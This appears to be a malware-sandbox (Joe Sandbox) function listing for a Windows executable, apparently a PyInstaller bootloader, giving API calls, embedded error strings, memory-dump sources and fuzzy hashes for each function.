Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: b4f53aa9fecf019eda8b32558ebd9baf275cca13f2f61f6f56b7716346534994
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 3D029224E0DF8B91EE65DF5DA8145F423A9AF04797B5440F6EE2E832A4EF3CB5498200

Function 00007FF6BAF081D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BAF09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6BAF045F4,00000000,00007FF6BAF01985), ref: 00007FF6BAF093C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6BAF086B7,?,?,00000000,00007FF6BAF03CBB), ref: 00007FF6BAF0822C

Part of subcall function 00007FF6BAF02810: MessageBoxW.USER32 ref: 00007FF6BAF028EA

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6BAF082D9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6BAF08373
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6BAF0829D
\, xrefs: 00007FF6BAF08261
CreateDirectory, xrefs: 00007FF6BAF0837C
%.*s, xrefs: 00007FF6BAF0830C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6BAF08203
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6BAF08240

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: dd7158e712bc9d979b6b0f3ee0507d7ebf3ed7c02a3a10515a46a7b452081266
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: E2518411A2CA8281FA719F2DD8516FA7398EF94782F444476EF4EC36D5EE3CE5058740

Function 00007FF6BAF02180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6BAF021AB
SelectObject.GDI32 ref: 00007FF6BAF021F2
DrawTextW.USER32 ref: 00007FF6BAF02215
SelectObject.GDI32 ref: 00007FF6BAF0222B
ReleaseDC.USER32 ref: 00007FF6BAF0223B
MoveWindow.USER32 ref: 00007FF6BAF0228B
MoveWindow.USER32 ref: 00007FF6BAF022CB
MoveWindow.USER32 ref: 00007FF6BAF0231E
MoveWindow.USER32 ref: 00007FF6BAF02366

Strings

P%, xrefs: 00007FF6BAF021FF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 99b66d1de5425d4b997bd78a14ea1201cb769a4eeb81f830331504921f01515c
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: DD51D826618BA186D6349F26E4581FAB7A1FB98BA2F004135EFDE83794DF3CD045DB10

Function 00007FF6BAF080C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6BAF080FF
GetWindowLongPtrW.USER32 ref: 00007FF6BAF0817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF6BAF08192
GetLastError.KERNEL32 ref: 00007FF6BAF0819C
SetWindowLongPtrW.USER32 ref: 00007FF6BAF081B3

Strings

Needs to remove its temporary files., xrefs: 00007FF6BAF08185

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: f8e2cc47d4e8afde83252a6ac01a78929b244dec4a82e7489373cb1ebb787b87
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 65217421B08B8282E7618F7EA8441F96358EF88BD2F584275EF2DC3395DE2CD5518341

Function 00007FF6BAF16290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF162D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF166C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1695C

Strings

p, xrefs: 00007FF6BAF163FD
:, xrefs: 00007FF6BAF1648C
f, xrefs: 00007FF6BAF163F5
p, xrefs: 00007FF6BAF16385
-, xrefs: 00007FF6BAF16369

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 2ceb2bd84c1b71755deb44e58d0e97fc2fbacc44e62d3b1414f0cc0342710ff4
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 4412A3B2E0C26386FBA45A9CD1542F976AAFB50756FC84175EF89876C4DF3CE5808B00

Function 00007FF6BAF10FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF11008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF113D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1166F

Strings

f, xrefs: 00007FF6BAF110A0
f, xrefs: 00007FF6BAF1110A
p, xrefs: 00007FF6BAF110AD
p, xrefs: 00007FF6BAF11112
f, xrefs: 00007FF6BAF11255

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 00c740f6d88efa824823fe0b00bc49f86879f5d743370ce727ca6fe18b05c47f
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: E41298E2E0C56386FB245A18E0542F976A9FB40755FC4417BDB9A87AC8DF3CE580CB08

Function 00007FF6BAF01050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6BAF01098
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6BAF010CC
fread, xrefs: 00007FF6BAF011FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6BAF01108
fseek, xrefs: 00007FF6BAF010D3
malloc, xrefs: 00007FF6BAF0110F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6BAF011F6

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: b8dd22586ecb9ec25ce4dcc18a824cece727d2e3c9969636290545a732f9d63d
Instruction ID: 87edc282626d5d23ad2dff836b2915539a6e9598297b800abc1da66f5e8a33c2
Opcode Fuzzy Hash: b8dd22586ecb9ec25ce4dcc18a824cece727d2e3c9969636290545a732f9d63d
Instruction Fuzzy Hash: 3741A261B0869282EA24DF1AA8006FA639DFF54BC6F8445B2EF4CC7796DE3CE541C744

Function 00007FF6BAF01470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6BAF0149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6BAF014DE
fread, xrefs: 00007FF6BAF015E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6BAF01518
fseek, xrefs: 00007FF6BAF014E5
malloc, xrefs: 00007FF6BAF0151F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6BAF015DF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: e377107dd91a525341321e5f01f657afb5ae6cbec7bbf7b76d68f7e19a70bd25
Instruction ID: 851a119846c10f814a991b514b1ceca4f6320fad6a18bb942c0473158ca36f8f
Opcode Fuzzy Hash: e377107dd91a525341321e5f01f657afb5ae6cbec7bbf7b76d68f7e19a70bd25
Instruction Fuzzy Hash: BF41AE72A0869286EB20DF2994411F96398FF84786F8445B2EF4DCBB99DF3CE542C704

Function 00007FF6BAF0EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6BAF0EA65

Part of subcall function 00007FF6BAF0F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6BAF0F9FF
Part of subcall function 00007FF6BAF0F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6BAF0FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6BAF0EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6BAF0ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BAF0EE98

Strings

csm, xrefs: 00007FF6BAF0EAE6
csm, xrefs: 00007FF6BAF0EB60
csm, xrefs: 00007FF6BAF0EA7F

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 0422917796b43542df59d95e865980d949bb78b755eeae973e17b93fcc392ece
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: DBD17962A08B458AEB309F69D4403ED7BA9FB45B89F100175EF8D97B96DF38E485C700

Function 00007FF6BAF02C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02D63
MessageBoxW.USER32 ref: 00007FF6BAF02D99

Strings

Error, xrefs: 00007FF6BAF02D8C
%ls: , xrefs: 00007FF6BAF02D22
[PYI-%d:ERROR] , xrefs: 00007FF6BAF02CA6
<FormatMessageW failed.>, xrefs: 00007FF6BAF02D70

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 93d751c04b8a97787665b8c7ca605a7807e55e4b1bd115c6e54e269026a1050a
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: ED31E562B08B4142E6219F29B8102EB6799BF887DAF410136EF4DD3759DF3CD546C700

Function 00007FF6BAF0DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6BAF0DF7A,?,?,?,00007FF6BAF0DC6C,?,?,?,00007FF6BAF0D869), ref: 00007FF6BAF0DD4D
GetLastError.KERNEL32(?,?,?,00007FF6BAF0DF7A,?,?,?,00007FF6BAF0DC6C,?,?,?,00007FF6BAF0D869), ref: 00007FF6BAF0DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6BAF0DF7A,?,?,?,00007FF6BAF0DC6C,?,?,?,00007FF6BAF0D869), ref: 00007FF6BAF0DD85
FreeLibrary.KERNEL32(?,?,?,00007FF6BAF0DF7A,?,?,?,00007FF6BAF0DC6C,?,?,?,00007FF6BAF0D869), ref: 00007FF6BAF0DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF6BAF0DF7A,?,?,?,00007FF6BAF0DC6C,?,?,?,00007FF6BAF0D869), ref: 00007FF6BAF0DDFF

Strings

api-ms-, xrefs: 00007FF6BAF0DD6D

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 4e8aef9aad90dbcc281c221229954748c1d9f3d82f7ae84c97f116794a045ea9
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 1A317E21B1B642D1EE229F1AA8106F5639CFF48BA6F594575EF1DC7384EE3CE4448204

Function 00007FF6BAF06360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

LoadLibrary, xrefs: 00007FF6BAF064AE
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6BAF063C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6BAF06407
ucrtbase.dll, xrefs: 00007FF6BAF063DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6BAF06456
Failed to load Python DLL '%ls'., xrefs: 00007FF6BAF064A7

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: fc6a324af5ccce61a42eddc583daae539656a092ce23a78ad745f8729274c64d
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: F3418F31A18AC791EA71DF68E4142EA6359FF44396F8041B2EF5C83695EF7CE509C780

Function 00007FF6BAF02A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6BAF0351A,?,00000000,00007FF6BAF03F23), ref: 00007FF6BAF02AA0

Strings

WARNING, xrefs: 00007FF6BAF02AAF
Warning, xrefs: 00007FF6BAF02B1E
Warning [ANSI Fallback], xrefs: 00007FF6BAF02B0F
[PYI-%d:%s] , xrefs: 00007FF6BAF02AA8
0, xrefs: 00007FF6BAF02B16

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 69051b3bff2c87b3722b2e3f65cac85cdb558d95d7a9aa52def9a0b15e4210fb
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: A1218E72A18B8182E7209F59B8817E66398FB887C5F400176FFCC93659DF3CD2498740

Function 00007FF6BAF1B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6BAF1B15F
FlsGetValue.KERNEL32 ref: 00007FF6BAF1B174
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B195
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B1C2
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B1D3
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B1E4
SetLastError.KERNEL32 ref: 00007FF6BAF1B1FF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5247ae399c057d93598fdf25b1320557c9c776162561440f03a8aa9c7a798dc4
Instruction ID: 34b68927e3177b68891100bab2636270c54c28a350ff3b48fc8257f1593370fa
Opcode Fuzzy Hash: 5247ae399c057d93598fdf25b1320557c9c776162561440f03a8aa9c7a798dc4
Instruction Fuzzy Hash: F8219FA0F0C66281FA69632D9A511F9528A5F44BF2F0147B5EF3ED7AC6DE2CB8408301

Function 00007FF6BAF27D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6BAF27D9D
GetLastError.KERNEL32 ref: 00007FF6BAF27DA9
CloseHandle.KERNEL32 ref: 00007FF6BAF27DC1
CreateFileW.KERNEL32 ref: 00007FF6BAF27DEC
WriteConsoleW.KERNEL32 ref: 00007FF6BAF27E0B

Strings

CONOUT$, xrefs: 00007FF6BAF27DCD

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 273d354d453dda8290c64cc6fa7c511714a5e179716ea4ba7775808a1e4fd5e1
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 56119321B18B8186E7608F5AE85436962E8FB88BE5F044274EF9DC77A4DF3CD814C740

Function 00007FF6BAF08ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

